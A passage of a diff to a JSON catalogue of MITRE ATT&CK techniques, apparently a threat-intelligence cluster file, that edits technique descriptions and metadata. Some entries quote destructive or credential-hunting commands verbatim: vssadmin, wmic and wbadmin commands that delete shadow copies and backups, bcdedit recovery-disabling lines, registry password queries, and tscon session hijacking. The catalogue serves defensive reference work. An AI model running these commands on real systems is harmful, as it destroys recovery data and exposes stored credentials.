over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI) (Citation: FireEye WMI 2015)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)", "meta": { "external_id": "T1047", "kill_chain": [ @@ -12813,27 +11537,7 @@ "value": "Windows Management Instrumentation - T1047" }, { - "description": "Adversaries may try to access and collect application data resident on the device. Adversaries often target popular applications, such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019) \n\n \n\nDue to mobile OS sandboxing, this technique is only possible in three scenarios: \n\n \n\n* An application stores files in unprotected external storage \n* An application stores files in its internal storage directory with insecure permissions (e.g. 777) \n* The adversary gains root permissions on the device ", - "meta": { - "external_id": "AUT-0", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1409", - "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html", - "https://securitywithoutborders.org/blog/2019/03/29/exodus.html" - ] - }, - "uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", - "value": "Stored Application Data - T1409" - }, - { - "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no", + "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no", "meta": { "external_id": "T1490", "kill_chain": [ @@ -12918,14 +11622,6 @@ "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) ", "meta": { "external_id": "T1506", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "Office 365", - "SaaS" - ], "refs": [ "https://attack.mitre.org/techniques/T1506", "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", @@ -12948,14 +11644,6 @@ "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.", "meta": { "external_id": "T1065", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "https://attack.mitre.org/techniques/T1065" @@ -12987,15 +11675,7 @@ "https://attack.mitre.org/techniques/T1507" ] }, - "related": [ - { - "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", "value": "Network Information Discovery - T1507" }, @@ -13003,12 +11683,6 @@ "description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)", "meta": { "external_id": "CAPEC-644", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm", "https://attack.mitre.org/techniques/T1075", @@ -13028,7 +11702,7 @@ "value": "Pass the Hash - T1075" }, { - "description": "Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095).", + "description": "Adversaries may transfer tools or other files between systems in a compromised environment. Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files laterally between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.", "meta": { "external_id": "T1570", "kill_chain": [ @@ -13050,8 +11724,7 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1570", - "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/" + "https://attack.mitre.org/techniques/T1570" ] }, "uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", @@ -13074,20 +11747,12 @@ "https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/" ] }, - "related": [ - { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "value": "Suppress Application Icon - T1508" }, { - "description": "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket’s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.", + "description": "An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket (Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block). \nSimilarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.", "meta": { "external_id": "T1580", "kill_chain": [ @@ -13108,13 +11773,11 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1580", - "https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/", "https://cloud.google.com/sdk/gcloud/reference/compute/instances/list", "https://content.fireeye.com/m-trends/rpt-m-trends-2020", "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html", "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html", "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html", "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html", "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest", "https://expel.io/blog/finding-evil-in-aws/" @@ -13123,6 +11786,24 @@ "uuid": "57a3d31a-d04f-4663-b2da-7df8ec3f8c9d", "value": "Cloud Infrastructure Discovery - T1580" }, + { + "description": "Adversaries may use non-standard ports to exfiltrate information.", + "meta": { + "external_id": "T1509", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1509" + ] + }, + "uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", + "value": "Uncommonly Used Port - T1509" + }, { "description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)", "meta": { @@ -13160,12 +11841,6 @@ "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\\windows\\system32\\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)", "meta": { "external_id": "CAPEC-555", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/", "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", @@ -13196,8 +11871,7 @@ "mitre-attack:execution" ], "mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation" + "Command: Command Execution" ], "mitre_platforms": [ "Containers" @@ -13219,12 +11893,6 @@ "description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", "meta": { "external_id": "T1096", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html", "http://msdn.microsoft.com/en-us/library/aa364404", @@ -13289,12 +11957,6 @@ "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use)", "meta": { "external_id": "CAPEC-561", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://support.microsoft.com/kb/314984", "https://attack.mitre.org/techniques/T1077", @@ -13323,12 +11985,6 @@ "description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)", "meta": { "external_id": "CAPEC-645", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos", "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf", @@ -13354,14 +12010,6 @@ "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.", "meta": { "external_id": "CAPEC-578", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1089", "https://capec.mitre.org/data/definitions/578.html" @@ -13383,14 +12031,6 @@ "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", "meta": { "external_id": "CAPEC-649", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/", "https://attack.mitre.org/techniques/T1151", @@ -13419,8 +12059,7 @@ "mitre_data_sources": [ "Container: Container Creation", "Process: OS API Execution", - "Process: Process Creation", - "Volume: Volume Modification" + "Process: Process Creation" ], "mitre_platforms": [ "Windows", @@ -13469,15 +12108,7 @@ "https://attack.mitre.org/techniques/T1412" ] }, - "related": [ - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "value": "Capture SMS Messages - T1412" }, @@ -13485,12 +12116,6 @@ "description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s", "meta": { "external_id": "T1214", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1214", "https://pentestlab.blog/2017/04/19/stored-credentials/" @@ -13549,6 +12174,24 @@ "uuid": "91a3735f-817a-4450-8ed4-f05a0f5c3877", "value": "Determine strategic target - T1241" }, + { + "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", + "meta": { + "external_id": "T1521", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1521" + ] + }, + "uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", + "value": "Standard Cryptographic Protocol - T1521" + }, { "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.", "meta": { @@ -13577,12 +12220,6 @@ "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)", "meta": { "external_id": "T1128", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1128", "https://github.com/outflankbv/NetshHelperBeacon", @@ -13603,7 +12240,7 @@ "value": "Netsh Helper DLL - T1128" }, { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, AnyDesk, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.(Citation: Symantec Living off the Land)\n\nRemote access tools may be installed and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. Installation of many remote access tools may also include persistence (ex: the tool's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)).\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns.(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)", + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n\nRemote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)", "meta": { "external_id": "T1219", "kill_chain": [ @@ -13709,7 +12346,7 @@ "value": "Access Token Manipulation - T1134" }, { - "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd utility may be used to change passwords. Accounts could also be disabled by Group Policy. \n\nAdversaries who use ransomware may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. ", + "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n\nAdversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)", "meta": { "external_id": "T1531", "kill_chain": [ @@ -13723,9 +12360,7 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Office 365", - "SaaS" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1531", @@ -13801,12 +12436,6 @@ "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.", "meta": { "external_id": "T1173", - "kill_chain": [ - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1173", "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/", @@ -13845,6 +12474,29 @@ "uuid": "9d234df0-2344-4db4-bc0f-8de9c6c071a7", "value": "Obfuscate operational infrastructure - T1318" }, + { + "description": "Adversaries may abuse Clipboard Manager APIs to obtain sensitive information copied to the global clipboard. For example, passwords being copy-and-pasted from a password manager app could be captured by another application installed on the device.(Citation: Fahl-Clipboard)\n\nOn Android, ClipboardManager.OnPrimaryClipChangedListener can be used by applications to register as a listener and monitor the clipboard for changes.(Citation: Github Capture Clipboard 2019)\n\nAndroid 10 mitigates this technique by preventing applications from accessing clipboard data unless the application is on the foreground or is set as the device’s default input method editor (IME).(Citation: Android 10 Privacy Changes)", + "meta": { + "external_id": "APP-35", + "kill_chain": [ + "mitre-mobile-attack:collection", + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "http://saschafahl.de/static/paper/pwmanagers2013.pdf", + "https://attack.mitre.org/techniques/T1414", + "https://developer.android.com/about/versions/10/privacy/changes#clipboard-data", + "https://github.com/grepx/android-clipboard-security", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html" + ] + }, + "uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", + "value": "Capture Clipboard Data - T1414" + }, { "description": "An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswap2) The adversary could then obtain SMS messages or hijack phone calls intended for someone else.(Citation: Betanews-Simswap)\n\nOne use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an 